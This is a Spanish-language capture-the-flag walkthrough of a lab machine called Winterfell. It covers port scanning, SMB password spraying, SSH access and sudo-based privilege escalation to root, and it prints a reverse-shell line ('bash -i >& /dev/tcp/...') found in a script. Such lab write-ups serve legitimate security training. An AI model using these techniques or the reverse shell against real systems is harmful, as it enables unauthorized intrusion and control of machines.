WINTERFELL

Primero comprobamos la conectividad con la máquina:

```
❯ ping -c 1 172.17.0.2
PING 172.17.0.2 (172.17.0.2) 56(84) bytes of data.
64 bytes from 172.17.0.2: icmp_seq=1 ttl=64 time=0.127 ms
```

Tenemos conectividad con la máquina y vemos que tenemos una ttl de 64, por lo que la máquina probablemente sea Linux.

Ahora vamos a hacer el escaneo de puertos:

```
❯ nmap -sS -p- --open --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts
```

```
PORT    STATE SERVICE      REASON
22/tcp  open  ssh          syn-ack ttl 64
80/tcp  open  http         syn-ack ttl 64
139/tcp open  netbios-ssn  syn-ack ttl 64
445/tcp open  microsoft-ds syn-ack ttl 64
```

Ahora vamos a hacer otro escaneo para sacar más información de estos puertos:

```
❯ nmap -sCV -p22,80,139,445 172.17.0.2 -oN targeted
```

```
PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 39:f8:44:51:19:1a:a9:78:c2:21:e6:19:d3:1e:41:96 (ECDSA)
|_  256 43:9b:ac:9c:d3:0c:ad:95:44:3a:c3:fb:9e:df:3e:a2 (ED25519)
80/tcp  open  http        Apache httpd 2.4.61 ((Debian))
|_http-server-header: Apache/2.4.61 (Debian)
|_http-title: Juego de Tronos
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb2-security-mode:
|   3:1:1:
|_    Message signing enabled but not required
| smb2-time:
|   date: 2024-10-08T14:32:27
|_  start_date: N/A
```

Haciendo fuzzing web encontramos los siguientes directorios:

```
› gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://172.17.0.2 -x .php,.html,.txt
```

```
/index.html           (Status: 200) [Size: 1729]
/.html                (Status: 403) [Size: 275]
/dragon               (Status: 301) [Size: 309] [
/.html                (Status: 403) [Size: 275]
/server-status        (Status: 403) [Size: 275]
```

En el directorio dragon encontramos un archivo que nos dice unos nombres sin espacios, por lo que pueden ser contraseñas para acceder al smb.

Tenemos 3 nombres que pueden ser usuarios del sistema, jon,arya y daenerys, vamos a meterlos en un txt junto con los nombres de los episodios para comprobar el acceso por smb con estos credenciales.

En mi caso voy a utilizar netexec:

```
› nxc smb 172.17.0.2 -u users -p pass
```

```
SMB         172.17.0.2      445    BE60FA7768AE     [+] BE60FA7768AE\jon:seacercaelinvierno
```

Y ya tenemos usuario y contraseña.

Primero listamos a ver que podemos ver:

```
smbclient -N -L \\\\172.17.0.2\\

      Sharename       Type      Comment
      ---------       ----      -------
      print$          Disk      Printer Drivers
      shared          Disk
      IPC$            IPC       IPC Service (Samba 4.17.12-Debian)
      nobody          Disk      Home Directories
```

Y ahora vamos a intentar acceder:

```
❯ smbclient \\\\172.17.0.2\\jon -U jon%seacercaelinvierno
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Jul 17 11:17:11 2024
  ..                                  D        0  Tue Jul 16 22:25:58 2024
  .bash_logout                        H      220  Fri Mar 29 20:40:10 2024
  .bashrc                             H     3526  Fri Mar 29 20:40:10 2024
  .profile                            H      807  Fri Mar 29 20:40:10 2024
  paraJon                             N      103  Tue Jul 16 22:26:00 2024
  .bash_history                       H      128  Wed Jul 17 11:16:18 2024
  .local                             DH        0  Wed Jul 17 11:15:11 2024
  .mensaje.py                         H      608  Wed Jul 17 11:17:10 2024
```

Vamos a coger el paraJon a ver que nos dice:

```
❯ cat paraJon
       File: paraJon
   1   Jon para todos los mensajes que quieras encriptar debes de usar la herramienta oculta que te he dejado
```

Puede ser el script de python que está ahí, pero no nos deja obtenerlo.

En el otro directorio llamado shared, había también un txt que hemos obtenido:

```
❯ cat proteccion_del_reino
       File: proteccion_del_reino
   1   Aria de ti depende que los caminantes blancos no consigan pasar el muro.
   2   Tienes que llevar a la reina Daenerys el mensaje, solo ella sabra interpretarlo. Se encuentra cifrado en un lenguaje antiguo y dificil de entender.
   3   Esta es mi contraseña, se encuentra cifrada en ese lenguaje y es -> aGlqb2RlbGFuaXN0ZXI=
```

Ya tenemos la contraseña cifrada.

Ahora si miramos si esta en base64:

```
❯ echo 'aGlqb2RlbGFuaXN0ZXI=' | base64 -d
hijodelanister#
```

Ahora vamos a acceder por ssh:

```
❯ ssh jon@172.17.0.2
```

```
jon@be60fa7768ae:~$ whoami
jon
```

Ya estamos dentro. Ahora vamos a escalar privilegios.

Con sudo -l vemos lo siguiente:

```
jon@be60fa7768ae:~$ sudo -l
Matching Defaults entries for jon on be60fa7768ae:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/

User jon may run the following commands on be60fa7768ae:
    (aria) NOPASSWD: /usr/bin/python3 /home/jon/.mensaje.py
```

Podemos ejecutar un script de python como aria.

Lo que podemos hacer es modificar el nombre de este archivo a cualquier otro como hola por ejemplo:

```
jon@be60fa7768ae:~$ mv .mensaje.py hola
jon@be60fa7768ae:~$ ls -l
total 8
-rwxrwxr-x 1 aria aria 608 Jul 17 09:17 hola
-rw-r--r-- 1 root root 103 Jul 16 20:26 paraJon
```

Y ahora usando echo, metemos en un archivo .mensaje.py el código que queramos:

```
jon@be60fa7768ae:~$ echo -e "import os\nos.system('whoami')" > .mensaje.py
jon@be60fa7768ae:~$ sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py
aria
```

Y vemos que funciona, por lo que lo modificamos para que en vez de mostrarnos whoami, nos de una bash:

```
jon@be60fa7768ae:~$ echo -e "import os\nos.system('/bin/bash')" > .mensaje.py
jon@be60fa7768ae:~$ sudo -u aria /usr/bin/python3 /home/jon/.mensaje.py
aria@be60fa7768ae:/home/jon$ whoami
aria
```

Ahora con aria vemos lo siguiente:

```
aria@be60fa7768ae:/home/jon$ sudo -l
Matching Defaults entries for aria on be60fa7768ae:
    env_reset, mail_badpass, secure_path=/usr/local/sb

User aria may run the following commands on be60fa7768
    (daenerys) NOPASSWD: /usr/bin/cat, /usr/bin/ls
```

Y usando esto vemos lo siguiente:

```
aria@be60fa7768ae:/$ sudo -u daenerys ls /home/daenerys
mensajeParaJon
aria@be60fa7768ae:/$ sudo -u daenerys cat /home/daenerys/mensajeParaJon
Aria estare encantada de ayudar a Jon con la guerra en el norte, siempre y cuando despues Jon cumpla y me ayude a  recuperar el trono de hierro
Te dejo en este mensaje la contraseña de mi usuario por si necesitas llamar a uno de mis dragones desde tu ordenador.

!drakaris!
```

Ahora vamos a probar la contraseña drakaris para accede a daenerys:

```
aria@be60fa7768ae:/$ su daenerys
Password:
daenerys@be60fa7768ae:/$ whoami
daenerys
```

Ahora vamos a escalar a usuario privilegiado.

Con sudo -l vemos lo siguiente:

```
daenerys@be60fa7768ae:/$ sudo -l
Matching Defaults entries for daenerys on be60fa7768ae:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/loca

User daenerys may run the following commands on be60fa7768ae:
    (ALL) NOPASSWD: /usr/bin/bash /home/daenerys/.secret/.shell.sh
```

Vemos que el archivo ejecuta lo siguiente:

```
#!/bin/bash

bash -i >& /dev/tcp/192.168.234.42/443 0>&1
```

Vamos a modificarlo para que nos de una bash directamente:

```
#!/bin/bash

/bin/bash
```

```
sudo /usr/bin/bash /home/daenerys/.secret/.shell.sh
```

d

```
root@be60fa7768ae:/# whoami
root
```

Y ya somos root.